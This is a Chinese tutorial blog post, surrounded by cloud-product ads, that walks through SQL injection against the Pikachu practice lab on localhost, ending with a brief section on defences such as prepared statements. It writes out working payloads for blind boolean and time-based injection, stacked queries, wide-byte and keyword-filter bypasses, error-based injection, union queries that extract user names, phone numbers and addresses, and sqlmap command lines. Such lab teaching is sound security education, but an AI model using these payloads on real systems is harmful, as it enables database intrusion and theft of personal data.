网络安全-SQL注入原理、攻击及防御(2)

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,高可用系列 2核4GB
简介: 网络安全-SQL注入原理、攻击及防御(2)

Boolean注入攻击

基于布尔判断的攻击

根据前面知道有个用户名是vince。

vince' and length(database())=7#

2020062310470442.png

                  没有错误

此时,条件语句where username='vince' and length(database())=7是True,也就是说数据库长度为7。

vince' and substr(database(),1,1)='p'#

2020062310470442.png

                   字符

vince' and ascii(substr(database(),1,1))=112#

2020062310470442.png

                     ascii

vince' and ascii(substr(database(),2,1))=105#

上面是数据库名第二字符'i'的,数据库名出来后再将database()改为select语句去找表名等,一般是写脚本,一个个的手工判断时间太长,有时间写了脚本再来更新,或者使用sqlmap。

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=d&submit=%E6%9F%A5%E8%AF%A2" --technique=B -dbms mysql --threads 5 -v 3 -dbs --batch

2020062310470442.png

                               基于boolean的

使用的是MID函数,和substr一样。在网络安全-Mysql注入知识点中有这个函数的用法。

Time注入攻击

基于时间的攻击,利用if、sleep、benchmark、get_lock等函数,使用rpad或repeat构造长字符串,加RLIKE,利用多个大表的笛卡尔积。


GET_LOCK有两个参数,一个是key,表示要加锁的字段,另一个是加锁失败后的等待时间(s),这种绕过方法是存在限制条件的,即数据库的连接必须是持久连接

vince' and if(length(database()=7),sleep(3),1)#

2020062310470442.png

                            3秒后后显示

同样,也是写脚本,通过返回的时间长短判断,可使用sqlmap。

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php?name=d&submit=%E6%9F%A5%E8%AF%A2" --technique=T --time-sec 2 -dbms mysql --threads 5 -v 3 -dbs --batch

2020062310470442.png

                                       时间注入

太慢了,有其他办法不建议使用这个。

Stack注入攻击

需要后台代码是可以执行多条sql语句的,php中是使用PDO方式执行多条语句。

堆叠注入攻击可以执行多条语句,多语句之间以分号隔开。利用这个特点可以在后面的语句中构造自己要执行的语句。

获取数据库、表(单引号闭合)

';show databases;show tables;%23

2020062310470442.png

                                              sqlmap

可以看到sqlmap中注入技术选择S时,payload中是含分号的。

--------------------------------------接下来是比较特殊/高级的sql绕过注入--------------------------------

inline Query绕过注入攻击

内联查询注入攻击

宽字节绕过注入

宽字节是在一些特定的编码,如GBK中才有的,编码将两个字节认为是一个汉字(前一个字符ascii码要大于128,才到汉字的范围)。addslashes函数为了防止sql注入,将传入参数值进行转义,将' 转义为\',单引号失去作用。因此,我们需要将\给绕过,这样才可以加'号。

2020062310470442.png

                                  \'编码

\编码为%5C,我们一般在地址后添加%df。

2020062310470442.png

                                   绕过\

添加后\变成了汉字,这样就绕过了。之后就和前面的一样了,当然,还有双引号等,除了GBK还有GB2312等编码,有兴趣的可以整理一下所有的。

为了方便理解,修改一下源代码,打印一下sql语句 。

2020062310470442.png

                                             修改源代码

2020062310470442.png

                                转义

%df%5C%27 or 1=1#

后端及数据库设置字符集为GBK,或其他低位为%5C的字符集。

Pikachu其他题目

火狐浏览器及插件hackbar v2。

数字型注入

参数为数字,一般是id等。

2020062310470442.png

                                      参数

参数为id和submit,其中id为整型。

猜测sql语句形式为

select userid from users where id = 参数

注入点判断

id=1 and 1=1&submit=查询
id=1 and 1=2&submit=查询

字段数确定

id=3 order by 3&submit=查询

2020062310470442.png

                                         3时报错

我就从2开始的,靶机的一般不会太大。真实的网络实战的话还是自己写脚本或使用sqlmap。

查询当前数据库

id=1 union select 1,database()&submit=查询

2020062310470442.png

                                  数据库pikachu

查询当前表

由于火狐对hackbar的一些限制,插件无法正常运行sql语句,就使用Navicat了。如果你不是最新版火狐的话可以试一试。

post data应该是这样的

UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema=database()&submit=查询

实际sql语句执行是这样的

2020062310470442.png

                                            当前列

查询当前字段

post data应该是这样的

id=1 UNION SELECT 1,group_concat(username,0x3a,phonenum,0x3a,address) from member&submit=查询

实际sql语句执行是这样的

2020062310470442.png

                             用户名,手机号,住址

0x3a是冒号的ASCII码

一次手工注入的基本过程如上所述,接下来大部分只讲原理,有特殊的地方再提示。

字符型注入

将参数以字符或字符串形式读入,通过闭合+注释的方式来进行SQL注入,一般是'或",或者结合()。

判断闭合

2020062310470442.png

                               标题

获取数据

http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=d'union select 1,database()--+&submit=%E6%9F%A5%E8%AF%A2

2020062310470442.png

                                     获取数据库名

后面的和之前的差不多。

搜索型注入

其实也算是字符型注入

搜索一般sql语句如下,

select * from users where username like '%$name'

2020062310470442.png

                               测试闭合字符

http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=frankyu'or 1=1--+&submit=%E6%90%9C%E7%B4%A2

2020062310470442.png

                         获取所搜索表所有内容

使用'or 1=1,条件判断为TRUE,所有的都返回,想获取其他的你就从前面常用语句去粘贴就行了。

xx型注入

注入判断

2020062310470442.png

                                 frankyu'判断

我还以为书上没写的呢,其实还是字符型,只不过需要两个字符去闭合,就是前面提到的(),sql语句类型下面这种。

select * from users where username = ('$name')

不写了,和前面的差不多。

"insert/update"注入

2020062310470442.png

                                              标题

1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)and'

0x7e是~,结果如下:

2020062310470442.png

                                        数据库

"delete注入"

和上面的差不多,id那里可以报错注入,可以使用Burpsuite进行抓包。

宽字节注入

博主数据库编码设置的utf-8,就不演示了,其实除了加一个%df外也没什么特别的地方,也可以使用其他的,sqlmap中有temper脚本进行绕过,使用的是%bf。

2020062310470442.png

                                    tamper脚本

绕过

大小写绕过

sql语句对一些关键词不区分大小写,如果网站代码没有进行大小写检查可以使用

UniOn select * from user

双写绕过

网站代码找到关键词后删除,可以通过双写构造删除后符合语法的sql语句

selselectect * from user

内联注释

mysql扩展功能,在/*后加惊叹号,注释中的语句会被执行

and /*!select * from user*/

注释符绕过

注释符不影响语句的连接,

sel/**/ect * from user

or/and绕过

使用逻辑符号代替:and = &&, or = ||

select * from emp where sal > 500 && sal < 3000;

空格绕过

有的网站过滤了空格,可以尝试使用

%0a、%b、%0c、%0d、%09、%a0

或者

/**/、()

例如

select * from/**/emp where (sal) > 500 && sal < 3000;

等价于

 select * from emp where sal > 500 and sal < 3000;

防御SQL注入的方法

使用预编译语句

绑定变量,攻击者无法改变SQL的结构。不同的编程语言Java、Php有不同的语法,就不做展示了。在网络安全-php安全知识点中提到了使用pdo来防御。

使用存储过程

使用安全的存储过程对抗SQL注入,由于存储过程中也可能存在SQL注入问题,应尽量避免使用动态SQL语句。

检查数据类型

例如,需要输入的是整型,那么,可以判断用户的输入,如果包含非整型,例如,字符串"AND"、“BENCHMARK”等,则不运行sql语句。其他类型,例如,邮箱等可以通过使用正则表达式来进行判断。

使用安全函数

各个厂商都有一些安全函数,例如,微软SQL安全函数

关于如何进行sql注入及靶机实战,可以参考下方链接。

未完待续...

更多内容查看:网络安全-自学笔记

喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。

相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
7天前
|
存储 安全 网络协议
网络安全的盾牌与剑:漏洞防御与加密技术
【9月更文挑战第10天】在数字时代的浪潮中,网络安全成为守护信息资产的盾牌与剑。本文将探讨网络安全的两个核心议题:网络漏洞的防御策略和加密技术的应用。通过深入浅出的分析,我们将了解如何识别和防范安全威胁,以及如何利用加密技术保护数据安全。文章旨在提升公众的安全意识,为打造更安全的网络环境提供实践指南。
30 11
|
8天前
|
SQL 监控 安全
数字堡垒之下:网络安全的现代挑战与防御策略
在这个数字信息日益增长的时代,网络安全已成为保护个人隐私和企业资产的关键战场。本文将深入探讨网络安全中常见的漏洞、先进的加密技术以及提升安全意识的重要性。通过分析最新的网络攻击案例和防御措施,我们旨在为读者提供一套实用的网络安全知识框架,帮助大众构建更为坚固的数字防线。
24 7
|
8天前
|
机器学习/深度学习 人工智能 自然语言处理
深度剖析深度神经网络(DNN):原理、实现与应用
本文详细介绍了深度神经网络(DNN)的基本原理、核心算法及其具体操作步骤。DNN作为一种重要的人工智能工具,通过多层次的特征学习和权重调节,实现了复杂任务的高效解决。文章通过理论讲解与代码演示相结合的方式,帮助读者理解DNN的工作机制及实际应用。
|
4天前
|
网络协议 Linux 应用服务中间件
Socket通信之网络协议基本原理
【9月更文挑战第14天】网络协议是机器间交流的约定格式,确保信息准确传达。主要模型有OSI七层与TCP/IP模型,通过分层简化复杂网络环境。IP地址全局定位设备,MAC地址则在本地网络中定位。网络分层后,数据包层层封装,经由不同层次协议处理,最终通过Socket系统调用在应用层解析和响应。
|
5天前
|
云安全 缓存 网络协议
如何防护DDoS攻击,筑牢网络安全防线
随着信息技术的飞速发展,网络已成为现代社会不可或缺的一部分,极大地便利了个人社交和商业活动。然而,网络空间在创造无限机遇的同时,也潜藏着诸多威胁,其中分布式拒绝服务攻击(DDoS,Distributed Denial of Service)以其高破坏力和难以防范的特点,成为网络安全领域的一大挑战。本文将从DDoS攻击的原理出发,详细探讨如何有效防护DDoS攻击,以筑牢网络安全防线。
|
5天前
|
SQL 安全 网络安全
网络安全的盾牌与矛:漏洞防御与加密技术
【9月更文挑战第12天】在数字时代的浪潮中,网络安全成为保护信息资产不可或缺的防线。本文深入探讨了网络安全的核心问题——安全漏洞及其防范措施,同时对加密技术进行了详细解读,旨在提高公众的安全意识,并分享实用的防护策略。从基础概念到实际操作,我们一步步揭示如何在日益复杂的网络环境中保护自己的数据不受威胁。
|
5天前
|
网络协议 网络架构 数据格式
TCP/IP基础:工作原理、协议栈与网络层
TCP/IP(传输控制协议/互联网协议)是互联网通信的基础协议,支持数据传输和网络连接。本文详细阐述了其工作原理、协议栈构成及网络层功能。TCP/IP采用客户端/服务器模型,通过四个层次——应用层、传输层、网络层和数据链路层,确保数据可靠传输。网络层负责IP寻址、路由选择、分片重组及数据包传输,是TCP/IP的核心部分。理解TCP/IP有助于深入掌握互联网底层机制。
23 2
|
8天前
|
安全 网络安全 量子技术
网络安全的盾牌与剑:漏洞防御与加密技术
【9月更文挑战第8天】在数字世界的海洋中,网络安全是航行者的罗盘和船锚。本文将探讨网络安全的两大支柱:一是识别和修补安全漏洞,二是运用加密技术保护数据的安全。我们将从基础概念出发,逐步深入到实践操作,旨在提升公众的安全意识和技能,共同构建一个更加安全的网络环境。
|
8天前
|
存储 SQL 安全
网络安全的盾牌:漏洞防御与加密技术解析
【9月更文挑战第9天】在数字时代,网络安全的重要性日益凸显,它不仅是保护个人隐私和数据安全的屏障,也是维护社会稳定和经济繁荣的关键。本文将深入探讨网络安全中的漏洞防御策略、加密技术的运用以及提升公众安全意识的必要性,旨在通过知识分享,增强大众对网络威胁的防范能力,共同构建更安全的网络环境。
|
1天前
|
安全 网络安全 数据安全/隐私保护
网络安全的护城河:漏洞防御与加密技术解析
【9月更文挑战第16天】在数字信息的海洋中,网络安全是守护数据宝库的坚固城墙。本文将深入探讨网络安全中的漏洞防御和加密技术,揭示安全意识的重要性,并提供实用的代码示例,帮助读者构建起一道道防护墙,确保信息安全的堡垒坚不可摧。